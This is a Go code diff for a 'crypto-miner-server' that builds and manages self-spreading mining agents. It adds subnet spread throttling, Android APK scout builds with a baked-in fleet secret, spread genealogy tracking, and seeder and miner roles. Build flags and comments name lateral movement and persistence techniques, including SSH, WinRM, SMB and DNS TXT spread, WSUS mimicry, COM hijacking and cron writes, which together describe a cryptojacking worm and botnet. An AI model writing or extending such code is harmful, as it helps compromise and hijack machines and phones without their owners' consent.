// SkipsFromHints converts gossip hints to atlas skips for agent merge.
|
||||
func SkipsFromHints(hints []GossipHint) []AtlasSkip {
|
||||
out := make([]AtlasSkip, 0, len(hints))
|
||||
for _, h := range hints {
|
||||
if norm, ok := NormalizeGossipHint(h); ok {
|
||||
out = append(out, AtlasSkip{
|
||||
Tier: norm.Tier,
|
||||
Condition: norm.Condition,
|
||||
Reason: norm.Reason,
|
||||
})
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// MergeGossipSkips merges incoming LAN hints into existing skips without duplicates.
|
||||
func MergeGossipSkips(existing []AtlasSkip, incoming []GossipHint) []AtlasSkip {
|
||||
hints := NormalizeGossipHints(incoming)
|
||||
if len(hints) == 0 {
|
||||
return existing
|
||||
}
|
||||
have := make(map[string]bool, len(existing)+len(hints))
|
||||
out := append([]AtlasSkip(nil), existing...)
|
||||
for _, s := range existing {
|
||||
have[s.Tier+"|"+s.Condition] = true
|
||||
}
|
||||
for _, h := range hints {
|
||||
key := h.Tier + "|" + h.Condition
|
||||
if have[key] {
|
||||
continue
|
||||
}
|
||||
have[key] = true
|
||||
out = append(out, AtlasSkip{
|
||||
Tier: h.Tier,
|
||||
Condition: h.Condition,
|
||||
Reason: h.Reason,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
43
server/internal/atlas/lan_gossip_test.go
Normal file
43
server/internal/atlas/lan_gossip_test.go
Normal file
@@ -0,0 +1,43 @@
|
||||
package atlas
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestSubnetPrefixIPv4(t *testing.T) {
|
||||
if got := SubnetPrefix("192.168.1.42"); got != "192.168.1" {
|
||||
t.Fatalf("SubnetPrefix = %q", got)
|
||||
}
|
||||
if got := SubnetPrefix("192.168.1.42:12345"); got != "192.168.1" {
|
||||
t.Fatalf("SubnetPrefix host:port = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeGossipHints(t *testing.T) {
|
||||
hints := NormalizeGossipHints([]GossipHint{
|
||||
{Tier: " docker ", Condition: "no_docker", Reason: "blocked"},
|
||||
{Tier: "", Condition: "x"},
|
||||
{Tier: "wsl", Condition: "defender_on"},
|
||||
})
|
||||
if len(hints) != 2 {
|
||||
t.Fatalf("want 2 hints, got %+v", hints)
|
||||
}
|
||||
if hints[0].Tier != "docker" || hints[0].Reason != "blocked" {
|
||||
t.Fatalf("first hint = %+v", hints[0])
|
||||
}
|
||||
if hints[1].Reason != "lan gossip" {
|
||||
t.Fatalf("default reason = %q", hints[1].Reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMergeGossipSkipsDedupes(t *testing.T) {
|
||||
existing := []AtlasSkip{{Tier: "docker", Condition: "no_docker", Reason: "fleet"}}
|
||||
merged := MergeGossipSkips(existing, []GossipHint{
|
||||
{Tier: "docker", Condition: "no_docker", Reason: "lan"},
|
||||
{Tier: "wsl", Condition: "defender_on", Reason: "lan"},
|
||||
})
|
||||
if len(merged) != 2 {
|
||||
t.Fatalf("merged = %+v", merged)
|
||||
}
|
||||
if merged[1].Tier != "wsl" {
|
||||
t.Fatalf("second skip = %+v", merged[1])
|
||||
}
|
||||
}
|
||||
74
server/internal/atlas/subnet_immune.go
Normal file
74
server/internal/atlas/subnet_immune.go
Normal file
@@ -0,0 +1,74 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
const (
|
||||
SubnetSpreadFailureThreshold = 5
|
||||
SubnetSpreadPauseDuration = 24 * time.Hour
|
||||
)
|
||||
|
||||
// SubnetImmune applies fleet-wide /24 spread pause after repeated failures.
|
||||
type SubnetImmune struct {
|
||||
db *db.Database
|
||||
}
|
||||
|
||||
func NewSubnetImmune(database *db.Database) *SubnetImmune {
|
||||
return &SubnetImmune{db: database}
|
||||
}
|
||||
|
||||
// PrefixFromHostOrIP normalizes a host IP or subnet label to a /24 prefix key.
|
||||
func PrefixFromHostOrIP(hostOrSubnet string) string {
|
||||
return SubnetPrefix(hostOrSubnet)
|
||||
}
|
||||
|
||||
// RecordSpreadFailure increments subnet failure count; returns true when pause activates.
|
||||
func (s *SubnetImmune) RecordSpreadFailure(hostOrSubnet string) (bool, error) {
|
||||
if s == nil || s.db == nil {
|
||||
return false, nil
|
||||
}
|
||||
prefix := PrefixFromHostOrIP(hostOrSubnet)
|
||||
if prefix == "" {
|
||||
return false, nil
|
||||
}
|
||||
return s.db.RecordSubnetSpreadFailure(prefix)
|
||||
}
|
||||
|
||||
// IsSpreadPaused reports whether spread commands targeting prefix should be blocked.
|
||||
func (s *SubnetImmune) IsSpreadPaused(hostOrSubnet string) (bool, error) {
|
||||
if s == nil || s.db == nil {
|
||||
return false, nil
|
||||
}
|
||||
prefix := PrefixFromHostOrIP(hostOrSubnet)
|
||||
if prefix == "" {
|
||||
return false, nil
|
||||
}
|
||||
return s.db.IsSubnetSpreadPaused(prefix)
|
||||
}
|
||||
|
||||
// SpreadActionBlocked returns an error when prefix is under immune pause.
|
||||
func (s *SubnetImmune) SpreadActionBlocked(hostOrSubnet string) error {
|
||||
paused, err := s.IsSpreadPaused(hostOrSubnet)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if paused {
|
||||
return &SpreadPauseError{Prefix: PrefixFromHostOrIP(hostOrSubnet)}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SpreadPauseError is returned when a /24 is under subnet immune response.
|
||||
type SpreadPauseError struct {
|
||||
Prefix string
|
||||
}
|
||||
|
||||
func (e *SpreadPauseError) Error() string {
|
||||
if e == nil || e.Prefix == "" {
|
||||
return "subnet spread paused (immune response)"
|
||||
}
|
||||
return "subnet " + e.Prefix + " spread paused for 24h (immune response)"
|
||||
}
|
||||
45
server/internal/atlas/subnet_immune_test.go
Normal file
45
server/internal/atlas/subnet_immune_test.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
func TestSubnetImmunePauseAfterFiveFailures(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
immune := NewSubnetImmune(database)
|
||||
host := "10.0.0.55"
|
||||
for i := 0; i < 4; i++ {
|
||||
paused, err := immune.RecordSpreadFailure(host)
|
||||
if err != nil || paused {
|
||||
t.Fatalf("iteration %d paused=%v err=%v", i, paused, err)
|
||||
}
|
||||
}
|
||||
paused, err := immune.RecordSpreadFailure(host)
|
||||
if err != nil || !paused {
|
||||
t.Fatalf("expected pause, paused=%v err=%v", paused, err)
|
||||
}
|
||||
blocked, err := immune.IsSpreadPaused(host)
|
||||
if err != nil || !blocked {
|
||||
t.Fatalf("blocked=%v err=%v", blocked, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadActionBlockedError(t *testing.T) {
|
||||
immune := NewSubnetImmune(nil)
|
||||
if err := immune.SpreadActionBlocked("10.0.0.1"); err != nil {
|
||||
t.Fatalf("nil db should not block: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPrefixFromHostOrIP(t *testing.T) {
|
||||
if got := PrefixFromHostOrIP("172.16.5.9"); got != "172.16.5" {
|
||||
t.Fatalf("prefix=%q", got)
|
||||
}
|
||||
}
|
||||
@@ -22,7 +22,25 @@ import (
|
||||
type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error)
|
||||
|
||||
// Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes).
|
||||
var apkSafeLotlTiers = []string{"vuln_recon", "linux"}
|
||||
// apkSafeLotlTiers lists the only LOTL tiers that make sense on Android.
|
||||
// The "linux" tier includes SSH lateral movement, cron jobs and /etc/hosts
|
||||
// writes — none of which are available inside the Android process sandbox.
|
||||
// Restricting to vuln_recon prevents silent runtime failures and avoids
|
||||
// pointless battery drain from techniques that will never succeed.
|
||||
var apkSafeLotlTiers = []string{"vuln_recon"}
|
||||
|
||||
// ApplyApkScoutPreset enforces roving scout defaults for Android APK builds.
|
||||
func ApplyApkScoutPreset(req *BuildRequest) {
|
||||
ApplyApkBuildPreset(req)
|
||||
req.ScoutMode = true
|
||||
req.MiningDisabled = true
|
||||
req.LotlOnionEnabled = false
|
||||
req.LotlPolicyFromServer = true
|
||||
req.LotlOnionTiers = []string{"discover_and_join", "service_graph"}
|
||||
if strings.TrimSpace(req.Wallet) == "" {
|
||||
req.Wallet = "android-scout-no-pool"
|
||||
}
|
||||
}
|
||||
|
||||
// ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds.
|
||||
func ApplyApkBuildPreset(req *BuildRequest) {
|
||||
@@ -53,6 +71,7 @@ func ApplyApkBuildPreset(req *BuildRequest) {
|
||||
req.DnsTxtSpread = false
|
||||
req.WebRTCMeshSpread = false
|
||||
req.WSUSCachePeerSpread = false
|
||||
req.WSUSFormatMimic = false
|
||||
req.COMHijackPersist = false
|
||||
req.RemoteAggressive = false
|
||||
req.LinuxLOTLMode = "off"
|
||||
@@ -75,22 +94,41 @@ func (h *Handler) apkAssetsDir() string {
|
||||
return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets")
|
||||
}
|
||||
|
||||
type apkAssetConfig struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
// apkMiningConfig mirrors the "mining" object that AgentConfig.kt reads.
|
||||
type apkMiningConfig struct {
|
||||
Enabled bool `json:"enabled"`
|
||||
}
|
||||
|
||||
func (h *Handler) writeApkConfigJSON(req *BuildRequest) error {
|
||||
// apkAssetConfig is the full config.json written into the APK assets.
|
||||
// Every field here is consumed by AgentConfig.kt — adding a field here
|
||||
// without a corresponding read in Kotlin is a no-op, but omitting a field
|
||||
// that Kotlin reads causes the app to fall back to its hardcoded defaults
|
||||
// (e.g. fleet_secret would be nil → agent cannot authenticate to the server).
|
||||
type apkAssetConfig struct {
|
||||
ServerURL string `json:"server_url"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
WorkerNumber string `json:"worker_number"`
|
||||
FleetSecret string `json:"fleet_secret,omitempty"`
|
||||
Mining apkMiningConfig `json:"mining"`
|
||||
BuildID string `json:"build_id"`
|
||||
}
|
||||
|
||||
func (h *Handler) writeApkConfigJSON(req *BuildRequest, buildID string) error {
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
return fmt.Errorf("create apk assets dir: %w", err)
|
||||
}
|
||||
cfg := apkAssetConfig{
|
||||
ServerURL: strings.TrimSpace(req.ServerURL),
|
||||
WorkerName: strings.TrimSpace(req.ApkAgentName),
|
||||
workerName := strings.TrimSpace(req.ApkAgentName)
|
||||
if workerName == "" {
|
||||
workerName = strings.TrimSpace(req.WorkerName)
|
||||
}
|
||||
if cfg.WorkerName == "" {
|
||||
cfg.WorkerName = strings.TrimSpace(req.WorkerName)
|
||||
cfg := apkAssetConfig{
|
||||
ServerURL: strings.TrimSpace(req.ServerURL),
|
||||
WorkerName: workerName,
|
||||
WorkerNumber: workerName,
|
||||
FleetSecret: h.fleetSecret, // baked-in fleet auth — without this the agent cannot handshake
|
||||
Mining: apkMiningConfig{Enabled: !req.MiningDisabled},
|
||||
BuildID: buildID,
|
||||
}
|
||||
raw, err := json.MarshalIndent(cfg, "", " ")
|
||||
if err != nil {
|
||||
@@ -119,34 +157,46 @@ func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir stri
|
||||
}
|
||||
return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
apk := filepath.Join(buildDir, "agent-app-release.apk")
|
||||
if fileExists(apk) {
|
||||
return apk, nil
|
||||
// The ps1 script uses assembleDebug → aetherforge-agent.apk; fall back
|
||||
// to the release name for scripts that override the output filename.
|
||||
for _, name := range []string{"aetherforge-agent.apk", "agent-app-debug.apk", "agent-app-release.apk"} {
|
||||
apk := filepath.Join(buildDir, name)
|
||||
if fileExists(apk) {
|
||||
return apk, nil
|
||||
}
|
||||
}
|
||||
return "", fmt.Errorf("build-apk.ps1 did not produce agent-app-release.apk")
|
||||
return "", fmt.Errorf("build-apk.ps1 did not produce an APK in %s", buildDir)
|
||||
}
|
||||
|
||||
// Use assembleDebug, not assembleRelease.
|
||||
// assembleRelease requires a signingConfig keystore — without one Gradle
|
||||
// produces an unsigned APK that Android 8+ refuses to install via adb.
|
||||
// assembleDebug signs automatically with the Gradle debug keystore, which
|
||||
// is sufficient for sideloaded fleet installs and matches build-apk.ps1.
|
||||
gradlew := filepath.Join(androidDir, "gradlew")
|
||||
if runtime.GOOS == "windows" {
|
||||
gradlew = filepath.Join(androidDir, "gradlew.bat")
|
||||
}
|
||||
if fileExists(gradlew) {
|
||||
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleRelease")
|
||||
cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleDebug", "--no-daemon")
|
||||
cmd.Dir = androidDir
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
if ctx.Err() != nil {
|
||||
return "", fmt.Errorf("apk build cancelled")
|
||||
}
|
||||
return "", fmt.Errorf("gradle assembleRelease failed: %s", strings.TrimSpace(string(out)))
|
||||
return "", fmt.Errorf("gradle assembleDebug failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
candidates := []string{
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "agent-app-debug.apk"),
|
||||
// legacy names kept for backward compat with older AGP versions
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "app-debug.apk"),
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"),
|
||||
filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"),
|
||||
}
|
||||
for _, c := range candidates {
|
||||
if fileExists(c) {
|
||||
dest := filepath.Join(buildDir, "agent-app-release.apk")
|
||||
dest := filepath.Join(buildDir, "agent-app-debug.apk")
|
||||
if err := copyFile(c, dest); err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -181,7 +231,11 @@ func apkFileName(req *BuildRequest) string {
|
||||
|
||||
// buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
|
||||
func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
|
||||
ApplyApkBuildPreset(req)
|
||||
if req.ScoutMode {
|
||||
ApplyApkScoutPreset(req)
|
||||
} else {
|
||||
ApplyApkBuildPreset(req)
|
||||
}
|
||||
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
@@ -206,12 +260,20 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
if ctx.Err() != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Writing Android config", 55)
|
||||
if err := h.writeApkConfigJSON(req); err != nil {
|
||||
if err := h.writeApkConfigJSON(req, buildID); err != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
if ctx.Err() != nil {
|
||||
cleanupBuild()
|
||||
return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
h.setProgress(req.CancelToken, "Copying agent to APK assets", 65)
|
||||
if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil {
|
||||
cleanupBuild()
|
||||
|
||||
@@ -9,6 +9,27 @@ import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestApplyApkScoutPreset(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "scout-tablet",
|
||||
ServerURL: "http://192.168.1.5:8989",
|
||||
Threads: 8,
|
||||
}
|
||||
ApplyApkScoutPreset(req)
|
||||
if !req.ApkMode || !req.ScoutMode || !req.MiningDisabled {
|
||||
t.Fatalf("scout preset flags: apk=%v scout=%v mining_disabled=%v", req.ApkMode, req.ScoutMode, req.MiningDisabled)
|
||||
}
|
||||
if req.LotlOnionEnabled {
|
||||
t.Fatal("scout must not enable LOTL onion spread chain")
|
||||
}
|
||||
if len(req.LotlOnionTiers) != 2 || req.LotlOnionTiers[0] != "discover_and_join" {
|
||||
t.Fatalf("scout tiers = %v", req.LotlOnionTiers)
|
||||
}
|
||||
if req.Wallet == "" {
|
||||
t.Fatal("scout preset should set placeholder wallet")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyApkBuildPreset(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "phone-1",
|
||||
@@ -29,6 +50,13 @@ func TestApplyApkBuildPreset(t *testing.T) {
|
||||
if req.ApkAgentName != "phone-1" {
|
||||
t.Fatalf("apk_agent_name=%q", req.ApkAgentName)
|
||||
}
|
||||
// "linux" tier must be absent — it enables SSH spread / cron which cannot
|
||||
// run inside the Android process sandbox.
|
||||
for _, tier := range req.LotlOnionTiers {
|
||||
if tier == "linux" {
|
||||
t.Fatalf("linux LOTL tier must not be set for APK builds, got tiers=%v", req.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestApkMode(t *testing.T) {
|
||||
@@ -49,7 +77,7 @@ func TestBuildAPKAgentMockGradle(t *testing.T) {
|
||||
}
|
||||
|
||||
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||
apk := filepath.Join(buildDir, "agent-app-release.apk")
|
||||
apk := filepath.Join(buildDir, "agent-app-debug.apk")
|
||||
if err := os.WriteFile(apk, []byte("PK fake apk"), 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -85,6 +113,12 @@ func TestBuildAPKAgentMockGradle(t *testing.T) {
|
||||
if cfg.ServerURL != req.ServerURL || cfg.WorkerName != "tablet-1" {
|
||||
t.Fatalf("config.json: %+v", cfg)
|
||||
}
|
||||
if cfg.WorkerNumber != "tablet-1" {
|
||||
t.Fatalf("worker_number=%q want tablet-1", cfg.WorkerNumber)
|
||||
}
|
||||
if cfg.BuildID == "" {
|
||||
t.Fatal("build_id must be non-empty")
|
||||
}
|
||||
|
||||
agentAsset := filepath.Join(h.apkAssetsDir(), "agent")
|
||||
if _, err := os.Stat(agentAsset); err != nil {
|
||||
@@ -106,6 +140,106 @@ func TestBuildAPKAgentMockGradle(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestApkConfigJSONFleetSecret(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
h.fleetSecret = "test-fleet-secret-abc123"
|
||||
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := &BuildRequest{
|
||||
WorkerName: "secret-node",
|
||||
ApkAgentName: "secret-node",
|
||||
ServerURL: "http://10.0.0.1:8989",
|
||||
MiningDisabled: true,
|
||||
}
|
||||
if err := h.writeApkConfigJSON(req, "build-secret-test"); err != nil {
|
||||
t.Fatalf("writeApkConfigJSON: %v", err)
|
||||
}
|
||||
|
||||
raw, err := os.ReadFile(filepath.Join(assetsDir, "config.json"))
|
||||
if err != nil {
|
||||
t.Fatalf("read config.json: %v", err)
|
||||
}
|
||||
var cfg apkAssetConfig
|
||||
if err := json.Unmarshal(raw, &cfg); err != nil {
|
||||
t.Fatalf("unmarshal: %v", err)
|
||||
}
|
||||
|
||||
if cfg.FleetSecret != "test-fleet-secret-abc123" {
|
||||
t.Errorf("fleet_secret: got %q want %q", cfg.FleetSecret, "test-fleet-secret-abc123")
|
||||
}
|
||||
if cfg.WorkerName != "secret-node" || cfg.WorkerNumber != "secret-node" {
|
||||
t.Errorf("worker: name=%q number=%q", cfg.WorkerName, cfg.WorkerNumber)
|
||||
}
|
||||
if cfg.Mining.Enabled {
|
||||
t.Error("mining.enabled should be false when MiningDisabled=true")
|
||||
}
|
||||
if cfg.BuildID != "build-secret-test" {
|
||||
t.Errorf("build_id: got %q want %q", cfg.BuildID, "build-secret-test")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApkConfigJSONNoSecretOmitted(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
// h.fleetSecret is empty — fleet_secret must be omitted from JSON
|
||||
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := &BuildRequest{
|
||||
WorkerName: "no-secret-node",
|
||||
ServerURL: "http://10.0.0.2:8989",
|
||||
}
|
||||
if err := h.writeApkConfigJSON(req, "bld-nosecret"); err != nil {
|
||||
t.Fatalf("writeApkConfigJSON: %v", err)
|
||||
}
|
||||
|
||||
raw, err := os.ReadFile(filepath.Join(assetsDir, "config.json"))
|
||||
if err != nil {
|
||||
t.Fatalf("read config.json: %v", err)
|
||||
}
|
||||
if strings.Contains(string(raw), "fleet_secret") {
|
||||
t.Errorf("fleet_secret should be omitted when empty, got:\n%s", raw)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApkAssetPathsMatchBinaryExtractor(t *testing.T) {
|
||||
// Cross-check Go builder output with android BinaryExtractor.kt constants:
|
||||
// ASSET_NAME = "agent", config consumed by AgentConfig.kt as config.json.
|
||||
h, database := testHandlerDB(t)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
agentBin := filepath.Join(t.TempDir(), "agent-arm64")
|
||||
if err := os.WriteFile(agentBin, []byte("elf-agent-binary"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := h.copyAgentBinaryToApkAssets(agentBin); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
agentAsset := filepath.Join(assetsDir, "agent")
|
||||
if _, err := os.Stat(agentAsset); err != nil {
|
||||
t.Fatalf("agent asset missing at BinaryExtractor ASSET_NAME path: %v", err)
|
||||
}
|
||||
if err := h.writeApkConfigJSON(&BuildRequest{
|
||||
WorkerName: "tab-1", ServerURL: "http://deck:8989", MiningDisabled: true,
|
||||
}, "bld-cross"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(assetsDir, "config.json")); err != nil {
|
||||
t.Fatalf("config.json missing for AgentConfig.kt: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
|
||||
55
server/internal/builder/fleet_role_test.go
Normal file
55
server/internal/builder/fleet_role_test.go
Normal file
@@ -0,0 +1,55 @@
|
||||
package builder
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestApplyFleetRoleBakeDefaultsSeeder(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
FleetRole: "seeder",
|
||||
LotlOnionTiers: []string{"smb", "dns_txt", "winrm"},
|
||||
}
|
||||
applyFleetRoleBakeDefaults(req)
|
||||
if !req.SeederMode || !req.MiningDisabled || req.FleetRole != "seeder" {
|
||||
t.Fatalf("seeder bake: mode=%v disabled=%v role=%q", req.SeederMode, req.MiningDisabled, req.FleetRole)
|
||||
}
|
||||
if !req.DnsTxtSpread || !req.WebRTCMeshSpread || req.WinRMSpread {
|
||||
t.Fatalf("spread flags: dns=%v webrtc=%v winrm=%v", req.DnsTxtSpread, req.WebRTCMeshSpread, req.WinRMSpread)
|
||||
}
|
||||
if len(req.LotlOnionTiers) != 1 || req.LotlOnionTiers[0] != "dns_txt" {
|
||||
t.Fatalf("tiers=%v", req.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateBuiltinConfigFleetRoleFields(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "seeder-node", ServerURL: "http://127.0.0.1:8989", Wallet: "4TEST",
|
||||
Threads: 2, PoolHost: "pool.supportxmr.com", PoolPort: 3333, PoolPass: "x",
|
||||
FleetRole: "seeder", SeederMode: true, MiningDisabled: true,
|
||||
}
|
||||
src := h.generateBuiltinConfig("build-seed", req)
|
||||
if !containsAll(src, "FleetRole:", "SeederMode:", "seeder") {
|
||||
t.Fatalf("missing fleet role fields in builtin:\n%s", src)
|
||||
}
|
||||
}
|
||||
|
||||
func containsAll(s string, parts ...string) bool {
|
||||
for _, p := range parts {
|
||||
if !contains(s, p) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func contains(s, sub string) bool {
|
||||
return len(sub) == 0 || (len(s) >= len(sub) && indexOf(s, sub) >= 0)
|
||||
}
|
||||
|
||||
func indexOf(s, sub string) int {
|
||||
for i := 0; i+len(sub) <= len(s); i++ {
|
||||
if s[i:i+len(sub)] == sub {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
16
server/internal/builder/genealogy.go
Normal file
16
server/internal/builder/genealogy.go
Normal file
@@ -0,0 +1,16 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func spreadStrainFromJoinLane(lane string) string {
|
||||
lane = strings.TrimSpace(strings.ToLower(lane))
|
||||
if lane == "" {
|
||||
return ""
|
||||
}
|
||||
sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
|
||||
return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
|
||||
}
|
||||
45
server/internal/builder/genealogy_test.go
Normal file
45
server/internal/builder/genealogy_test.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestSpreadStrainFromJoinLane(t *testing.T) {
|
||||
got := spreadStrainFromJoinLane("dns_txt")
|
||||
if got == "" || got[0] != '#' || len(got) != 7 {
|
||||
t.Fatalf("unexpected strain: %q", got)
|
||||
}
|
||||
if spreadStrainFromJoinLane("dns_txt") != got {
|
||||
t.Fatal("strain not stable")
|
||||
}
|
||||
if spreadStrainFromJoinLane("winrm") == got {
|
||||
t.Fatal("lanes should differ")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenerateBuiltinConfigSpreadGenealogy(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "child",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "4TEST",
|
||||
ParentAgentID: "parent-abc",
|
||||
SpreadGeneration: 2,
|
||||
JoinLane: "winrm",
|
||||
}
|
||||
src := h.generateBuiltinConfig("genealogy-build", req)
|
||||
for _, want := range []string{
|
||||
`ParentAgentID: "parent-abc"`,
|
||||
"SpreadGeneration: 2",
|
||||
`BakedJoinLane: "winrm"`,
|
||||
} {
|
||||
if !strings.Contains(src, want) {
|
||||
t.Fatalf("missing %q in:\n%s", want, src)
|
||||
}
|
||||
}
|
||||
strain := spreadStrainFromJoinLane("winrm")
|
||||
if !strings.Contains(src, `SpreadStrain: "`+strain+`"`) {
|
||||
t.Fatalf("expected baked strain %q in config", strain)
|
||||
}
|
||||
}
|
||||
@@ -89,6 +89,7 @@ type BuildRequest struct {
|
||||
DnsTxtSpread bool `json:"dns_txt_spread"`
|
||||
WebRTCMeshSpread bool `json:"webrtc_mesh_spread"`
|
||||
WSUSCachePeerSpread bool `json:"wsus_cache_peer_spread"`
|
||||
WSUSFormatMimic bool `json:"wsus_format_mimic"`
|
||||
COMHijackPersist bool `json:"com_hijack_persist"`
|
||||
LinuxLOTLMode string `json:"linux_lotl_mode"`
|
||||
TargetOS string `json:"target_os"`
|
||||
@@ -125,8 +126,18 @@ type BuildRequest struct {
|
||||
|
||||
// APK mode — Android fleet node (mining off by default).
|
||||
ApkMode bool `json:"apk_mode"`
|
||||
ScoutMode bool `json:"scout_mode"`
|
||||
ApkAgentName string `json:"apk_agent_name"`
|
||||
MiningDisabled bool `json:"mining_disabled"`
|
||||
|
||||
// Spread genealogy watermark — informational telemetry baked into agent config.
|
||||
ParentAgentID string `json:"parent_agent_id"`
|
||||
SpreadGeneration int `json:"spread_generation"`
|
||||
JoinLane string `json:"join_lane"` // used to derive spread_strain color at bake time
|
||||
|
||||
// Fleet role split — seeder serves LAN staging only; miner hashes RandomX.
|
||||
FleetRole string `json:"fleet_role,omitempty"` // miner | seeder | auto
|
||||
SeederMode bool `json:"seeder_mode,omitempty"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -601,7 +612,40 @@ func (h *Handler) DownloadUninstall(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, uninstallPath)
|
||||
}
|
||||
|
||||
func applyFleetRoleBakeDefaults(req *BuildRequest) {
|
||||
role := normalizeForgeFleetRole(req)
|
||||
if role != "seeder" && !req.SeederMode {
